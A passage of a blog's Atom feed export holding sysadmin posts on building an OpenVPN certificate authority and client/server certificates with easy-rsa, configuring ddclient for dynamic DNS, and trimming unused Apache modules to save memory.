you enter '.', the field will be left blank.&lt;br /&gt;-----&lt;br /&gt;Country Name (2 letter code) [US]:SP&lt;br /&gt;State or Province Name (full name) [CA]:Madrid&lt;br /&gt;Locality Name (eg, city) [SanFrancisco]:Madrid&lt;br /&gt;Organization Name (eg, company) [Fort-Funston]:openvpn&lt;br /&gt;Organizational Unit Name (eg, section) [changeme]:&lt;br /&gt;Common Name (eg, your name or your server's hostname) [changeme]:ca&lt;br /&gt;Name [changeme]:&lt;br /&gt;Email Address [mail@host.domain]:&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Afterwards we have to generate the Diffie-Hellman parameters. This file is used in the server side for SSL/TLS connections.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# . ./build-dh&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;Now we have the necessary infraestructure to be able to issue digital certificates. So let's get going by building the server certificate&amp;nbsp;first of all. As in the case of the CA certificate, you will be asked for certain information which will be aggregated into the certificate (country, state, location, common name, email, etc.).&lt;br /&gt;&lt;br /&gt;In order to avoid Man in the Middle attacks (MitM) where an authorized client tries to connect to another client by impersonating the server, we must make the server certificate through the &lt;i&gt;build-key-server&lt;/i&gt; script and not &lt;i&gt;build-key&lt;/i&gt;. This operation will designate the certificate as a server-only certificate, by setting the right attributes (nsCertType=server).&amp;nbsp;This will cut off clients from connecting to any server which lacks the nsCertType=server ownership in its certificate, even if the certificate has been signed by a valid CA.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# . ./build-key-server server&lt;br /&gt;Generating a 1024 bit RSA private key&lt;br /&gt;.....++++++&lt;br /&gt;...............++++++&lt;br /&gt;writing new private key to 'server.key'&lt;br /&gt;-----&lt;br /&gt;You are about to be asked to enter information that will be incorporated&lt;br /&gt;into your certificate request.&lt;br /&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;br /&gt;There are quite a few fields but you can leave some blank&lt;br /&gt;For some fields there will be a default value,&lt;br /&gt;If you enter '.', the field will be left blank.&lt;br /&gt;-----&lt;br /&gt;Country Name (2 letter code) [US]:SP&lt;br /&gt;State or Province Name (full name) [CA]:Madrid&lt;br /&gt;Locality Name (eg, city) [SanFrancisco]:Madrid&lt;br /&gt;Organization Name (eg, company) [Fort-Funston]:openvpn&lt;br /&gt;Organizational Unit Name (eg, section) [changeme]:&lt;br /&gt;Common Name (eg, your name or your server's hostname) [server]:      &lt;br /&gt;Name [changeme]:&lt;br /&gt;Email Address [mail@host.domain]:&lt;br /&gt;&lt;br /&gt;Please enter the following 'extra' attributes&lt;br /&gt;to be sent with your certificate request&lt;br /&gt;A challenge password []:&lt;br /&gt;An optional company name []:&lt;br /&gt;Using configuration from /home/javi/tmp/2.0/openssl-1.0.0.cnf&lt;br /&gt;Check that the request matches the signature&lt;br /&gt;Signature ok&lt;br /&gt;The Subject's Distinguished Name is as follows&lt;br /&gt;countryName           :PRINTABLE:'SP'&lt;br /&gt;stateOrProvinceName   :PRINTABLE:'Madrid'&lt;br /&gt;localityName          :PRINTABLE:'Madrid'&lt;br /&gt;organizationName      :PRINTABLE:'openvpn'&lt;br /&gt;organizationalUnitName:PRINTABLE:'changeme'&lt;br /&gt;commonName            :PRINTABLE:'server'&lt;br /&gt;name                  :PRINTABLE:'changeme'&lt;br /&gt;emailAddress          :IA5STRING:'mail@host.domain'&lt;br /&gt;Certificate is to be certified until Jan  3 00:27:23 2022 GMT (3650 days)&lt;br /&gt;Sign the certificate? [y/n]:y&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1 out of 1 certificate requests certified, commit? [y/n]y&lt;br /&gt;Write out database with 1 new entries&lt;br /&gt;Data Base Updated&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;In the case of the client certificate, we will take the same previous steps but now, by using the &lt;i&gt;build-key&lt;/i&gt; script.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# . ./build-key client&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;And finally, let's take a look at all files created by means of this procedure.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:/home/javi/tmp/2.0# tree keys&lt;br /&gt;keys&lt;br /&gt;├── 01.pem&lt;br /&gt;├── 02.pem&lt;br /&gt;├── ca.crt&lt;br /&gt;├── ca.key&lt;br /&gt;├── client.crt&lt;br /&gt;├── client.csr&lt;br /&gt;├── client.key&lt;br /&gt;├── dh1024.pem&lt;br /&gt;├── index.txt&lt;br /&gt;├── index.txt.attr&lt;br /&gt;├── index.txt.attr.old&lt;br /&gt;├── index.txt.old&lt;br /&gt;├── serial&lt;br /&gt;├── serial.old&lt;br /&gt;├── server.crt&lt;br /&gt;├── server.csr&lt;br /&gt;└── server.key&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-8576489235156302826?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/8576489235156302826/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/secure-remote-access-to-home-through.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8576489235156302826'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/8576489235156302826'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2012/01/secure-remote-access-to-home-through.html' title='Secure remote access to home through OpenVPN (II)'/><author><name>Javier Andrés Alonso</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-527577415418107737</id><published>2011-12-31T12:28:00.002+01:00</published><updated>2011-12-31T12:28:55.468+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='VPN'/><title type='text'>Secure remote access to home through OpenVPN (I)</title><content type='html'>I have prepared a secure access so that when I am living in London, I can connect to my home network securely. I have set up a VPN (Virtual Private Network) by means of &lt;a href="http://openvpn.net/"&gt;OpenVPN&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Why have I preferred a VPN instead of a typical access such as SSH, VNC, etc.? Because in this way, I will be able to accomplish an encrypted tunnel between my laptop and home network, and over that secure line, to establish other types of connections later. Furthermore, I will be able to connect from any kind of insecure networks.&lt;br /&gt;&lt;br /&gt;Why have I chosen OpenVPN? Because this application allows you to quickly build SSL/TLS channels, and this sort of VPN is really handy and straightforward to configure. OpenVPN is an open source software which easily implements&amp;nbsp;VPNs over a public network, such as Internet. One of the main advantages of OpenVPN is that it just needs a single TCP or UDP port for transmissions and runs in userspace, rather than requiring IP stack operations, as for instance IPSec or PPTP.&lt;br /&gt;&lt;br /&gt;Bellow you can observe a detailed outline of my infraestructure. It is a point to point link between my laptop and a PC connected inside the local network. The PC acts in the server role (takes care of listening for possible connection requests) and the laptop is the client (initiates the connection). Once I am connected to the PC via OpenVPN, I will be able to jump safely to any device located in the network. Both computers run Ubuntu 11.10.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-eCXl5hM-44M/Tv3vg-CJ7tI/AAAAAAAAAoY/sgKDD5qTxXU/s1600/Secure+remote+access+to+home+through+OpenVPN.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="441" src="http://3.bp.blogspot.com/-eCXl5hM-44M/Tv3vg-CJ7tI/AAAAAAAAAoY/sgKDD5qTxXU/s640/Secure+remote+access+to+home+through+OpenVPN.png" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;br /&gt;One of the first things that I had to face up to is the issue of the dynamic IP address used by my ADSL service. Every time that I turn on the router, a temporary public IP address is assigned by the ADSL provider. To overcome it, I have signed up for a free dynamic DNS service: &lt;a href="http://www.dnsdynamic.org/"&gt;DNSdynamic&lt;/a&gt;. The registration process is pretty simple.&lt;br /&gt;&lt;br /&gt;In this manner, I have obtained a subdomain which points to my router. To that end, I have installed ddclient on the PC, an address updating utility which keeps up to date the current public IP of the router. In order to show you my configuration, I will use a fictitious subdomain called test.dnsdynamic.com.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;root@javi-pc:~# aptitude install ddclient&lt;br /&gt;&lt;br /&gt;root@javi-pc:~# cat /etc/ddclient.conf&lt;br /&gt;# Log messages to syslog&lt;br /&gt;syslog=yes              &lt;br /&gt;&lt;br /&gt;# Support SSL updates               &lt;br /&gt;ssl=yes&lt;br /&gt;&lt;br /&gt;# Obtain IP address from provider's IP by checking page                               &lt;br /&gt;use=web, web=myip.dnsdynamic.com&lt;br /&gt;&lt;br /&gt;# Update DNS information from server&lt;br /&gt;server=www.dnsdynamic.org&lt;br /&gt;&lt;br /&gt;# Login and password for server&lt;br /&gt;login=test@gmail.com&lt;br /&gt;password='xxxxxx'&lt;br /&gt;&lt;br /&gt;# Update protocol used              &lt;br /&gt;protocol=dyndns2&lt;br /&gt;&lt;br /&gt;# Subdomain                        &lt;br /&gt;test.dnsdynamic.com&lt;br /&gt;&lt;br /&gt;root@javi-pc:~# cat /etc/default/ddclient &lt;br /&gt;...&lt;br /&gt;# ddclient runs in daemon mode&lt;br /&gt;run_daemon="true"&lt;br /&gt;&lt;br /&gt;# Time interval between the updates of the dynamic DNS name (in seconds)&lt;br /&gt;daemon_interval="3600"&lt;br /&gt;&lt;br /&gt;root@javi-pc:~# /etc/init.d/ddclient start&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;The SSL/TLS connection configured by me is authenticated through digital certificates. So I have needed to make a couple of certificates, one for each end of the VPN tunnel. In addition, I have also had to create a CA (Certification Authority) in order to validate both certificates.&amp;nbsp;OpenVPN allows peers to authenticate each other by using&amp;nbsp;username/password,&amp;nbsp;a pre-shared secret key or&amp;nbsp;digital certificates. I have picked out the last option due to it is the most robust system.&lt;br /&gt;&lt;br /&gt;So as to manage digital certificates, I am used to treating with easy-rsa, a small RSA key management package which contains a series of openssl scripts aimed at handling PKIs (Public Key Infrastructures). This tool is included within the OpenVPN source file.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;javi@javi-pc:~/tmp$ wget http://swupdate.openvpn.org/community/releases/openvpn-2.2.2.tar.gz&lt;br /&gt;&lt;br /&gt;javi@javi-pc:~/tmp$ tar xvzf openvpn-2.2.2.tar.gz&lt;br /&gt;&lt;br /&gt;javi@javi-pc:~/tmp$ mv openvpn-2.2.2/easy-rsa/2.0/ . ; rm -rf openvpn-2.2.2*&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-527577415418107737?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/527577415418107737/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/secure-remote-access-to-home-through.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/527577415418107737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/527577415418107737'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/secure-remote-access-to-home-through.html' title='Secure remote access to home through OpenVPN (I)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-eCXl5hM-44M/Tv3vg-CJ7tI/AAAAAAAAAoY/sgKDD5qTxXU/s72-c/Secure+remote+access+to+home+through+OpenVPN.png' height='72' width='72'/><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-3606356087864727093</id><published>2011-12-22T20:11:00.001+01:00</published><updated>2011-12-23T00:30:06.219+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web servers'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Apache performance tuning: dynamic modules (II)</title><content type='html'>Let's continue with the second part of the article titled &lt;a href="http://redes-privadas-virtuales.blogspot.com/2011/12/apache-performance-tuning-dynamic.html"&gt;Apache Performance tuning: dynamic modules (I)&lt;/a&gt;. Remember that this paper is aimed at reviewing the different modules belonging to Apache, so as to determine whether they are useful for our requirements. To that end, we will be able to fit the amount of memory used by Apache processes.&lt;br /&gt;&lt;br /&gt;The most important point&amp;nbsp;is to be aware of that one only process consumes little memory, but if our Apache installation requires lots of processes, the total memory grabbed by Apache will be huge. So if we get hold of turning down the initial memory with which a process is created, afterwards it will run lighter and besides, we will have that free memory available in order to be allocated for other things.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;mod_ext_filter&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Forwards the response body to an external program before sending it out to the client.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule ext_filter_module modules/mod_ext_filter.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_include&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Filters files before delivering them to the client.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule include_module modules/mod_include.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_info&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Provides a comprehensive overview of the web server configuration.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule info_module modules/mod_info.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_ldap&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Improves the performance of websites by pooling LDAP connections and caching responses.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule ldap_module modules/mod_ldap.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_logio&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Logs the input and output number of bytes received/sent per request.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule logio_module modules/mod_logio.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_proxy&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Puts into action a a proxy/gateway.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule proxy_module modules/mod_proxy.so&lt;br /&gt;# LoadModule proxy_balancer_module modules/mod_proxy_balancer.so&lt;br /&gt;# LoadModule proxy_ftp_module modules/mod_proxy_ftp.so&lt;br /&gt;# LoadModule proxy_http_module modules/mod_proxy_http.so&lt;br /&gt;# LoadModule proxy_ajp_module modules/mod_proxy_ajp.so&lt;br /&gt;# LoadModule proxy_connect_module modules/mod_proxy_connect.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod speling&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Tries to correct erroneous URLs that users could have typed by overlooking capitalization and allowing up to one misspelling.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule speling_module modules/mod_speling.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_status&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Provides statistics about the activity and performance of the web server.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule status_module modules/mod_status.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_suexec&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Allows CGI scripts to run as a concrete user and group.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule suexec_module modules/mod_suexec.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_userdir&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Allows user directories can be accessed through the web server.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule userdir_module modules/mod_userdir.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_usertrack&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Logs user activity.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule usertrack_module modules/mod_usertrack.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;After disabling these modules, the memory used by one Apache process (and owned by apache user) went from 2.02 to 1.46 MB, that is to say, we have gained around 0.6 MB. If you take into account that a large number of processes can be running on the system at any given time, the saved memory might be appreciable. In addition, you have to consider that from now on, a process is much lighter, with what its startup and performance will be much better.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1494477346885932431-3606356087864727093?l=redes-privadas-virtuales.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://redes-privadas-virtuales.blogspot.com/feeds/3606356087864727093/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/apache-performance-tuning-dynamic_22.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3606356087864727093'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1494477346885932431/posts/default/3606356087864727093'/><link rel='alternate' type='text/html' href='http://redes-privadas-virtuales.blogspot.com/2011/12/apache-performance-tuning-dynamic_22.html' title='Apache performance tuning: dynamic modules (II)'/><author><name>Javier Andrés Alonso</name><uri>http://www.blogger.com/profile/15322743276117860784</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1494477346885932431.post-1789665996033914253</id><published>2011-12-14T22:29:00.000+01:00</published><updated>2011-12-23T00:16:52.173+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Web servers'/><category scheme='http://www.blogger.com/atom/ns#' term='Performance'/><title type='text'>Apache performance tuning: dynamic modules (I)</title><content type='html'>Apache is a cross-platform, modular and open source web server, widely used around the world for its quality, robustness and stability. But like most of the applications, it is installed with a default configuration which is not the most adequate. And I am going to say more: I have never seen an Apache installation where the administrator has set it up correctly later.&lt;br /&gt;&lt;br /&gt;During several articles, you are going to learn how to properly optimize Apache, in order to achieve the best performance. The tests will be carried out on CentOS 6.2 (32 bits) with Apache 2.2.15. I am going to break up this first article relative to dynamic modules in two separate parts.&lt;br /&gt;&lt;br /&gt;Apache has got two main operating modes, also known as multi-processing modules (MPMs):&lt;br /&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Prefork&lt;/b&gt;: an unique Apache process (httpd) launchs child processes which take care of listening for potential connections and serving them. Apache keeps several idle processes ready to attend incoming requests. Thereby, a client does not need to wait for new children are forked. Another advantage of this operation mode is that if there is a problem in any process, this will not affect other processes (each child is independent of the rest).&amp;nbsp;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;ul&gt;&lt;li&gt;&lt;b&gt;Worker&lt;/b&gt;: as in the previous case, an only control process creates several child processes, and in turn, each child process handles a listener thread which passes the inbound connections to other server threads managed as well by the same child process. This mode is faster and more scalable, but in contrast, it is more fault tolerant (several threads share the same memory area, and if there is any problem in the parent, it will involve the rest).&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;You can install Apache either by compiling it from its source code or by getting directly the binary file from a repository. I for one prefer this second option, because in this way, any kind of update (security or bugfix) will be able to be applied without compiling it again.&lt;br /&gt;&lt;br /&gt;A typical installation of Apache via yum comes with the following pre-compiled modules. As you may appreciate, prefork will be the default operating mode (you can change this by modifying the &lt;i&gt;/etc/sysconfig/httpd&lt;/i&gt; file).&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;[root@centos ~]# httpd -l&lt;br /&gt;Compiled in modules:&lt;br /&gt;  core.c&lt;br /&gt;  prefork.c&lt;br /&gt;  http_core.c&lt;br /&gt;  mod_so.c&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;It is basic to know the funcionality of each module so as to figure out if it can be left out. Then we are going to put forward what modules can be ruled out in the most of the cases. Also point out that all directives showed below, are included into the Apache configuration file (&lt;i&gt;httpd.conf&lt;/i&gt;). In many cases, the related modules will be also disabled, aside from the principal one.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;mod_actions&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Allows the execution of CGI scripts based on the MIME content type and the request method.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule actions_module modules/mod_actions.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_auth_basic&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Limits access to certain users by using HTTP Basic Authentication. I usually disable its dependencies.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;LoadModule auth_basic_module modules/mod_auth_basic.so&lt;br /&gt;# LoadModule authn_file_module modules/mod_authn_file.so&lt;br /&gt;# LoadModule authn_alias_module modules/mod_authn_alias.so&lt;br /&gt;# LoadModule authn_anon_module modules/mod_authn_anon.so&lt;br /&gt;# LoadModule authn_dbm_module modules/mod_authn_dbm.so&lt;br /&gt;# LoadModule authn_default_module modules/mod_authn_default.so&lt;br /&gt;# LoadModule authnz_ldap_module modules/mod_authnz_ldap.so&lt;br /&gt;# LoadModule authn_dbd_module modules/mod_authn_dbd.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_auth_digest&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Limits access to certain users by using MD5 Digest Authentication.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule auth_digest_module modules/mod_auth_digest.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_authz_*&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Limits access to certain groups based on different origins (DBM or plaintext files, hostname or IP address, etc.). I get used to remove all less &lt;i&gt;mod_authz_host&lt;/i&gt;.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;LoadModule authz_host_module modules/mod_authz_host.so&lt;br /&gt;# LoadModule authz_user_module modules/mod_authz_user.so&lt;br /&gt;# LoadModule authz_owner_module modules/mod_authz_owner.so&lt;br /&gt;# LoadModule authz_groupfile_module modules/mod_authz_groupfile.so&lt;br /&gt;# LoadModule authz_dbm_module modules/mod_authz_dbm.so&lt;br /&gt;# LoadModule authz_default_module modules/mod_authz_default.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_cache &lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Manages the content cache.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule cache_module modules/mod_cache.so&lt;br /&gt;# LoadModule disk_cache_module modules/mod_disk_cache.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_cgi&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Allows the execution of CGI scripts.&lt;br /&gt;&lt;br /&gt;&lt;pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: Andale Mono, Lucida Console, Monaco, fixed, monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 97%;"&gt;&lt;code&gt;# LoadModule cgi_module modules/mod_cgi.so&lt;br /&gt;&lt;/code&gt;&lt;/pre&gt;&lt;br /&gt;&lt;b&gt;mod_dav&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;Implements the WebDAV (Web-based Distributed Authoring and Versioning) funcionality.&lt;br 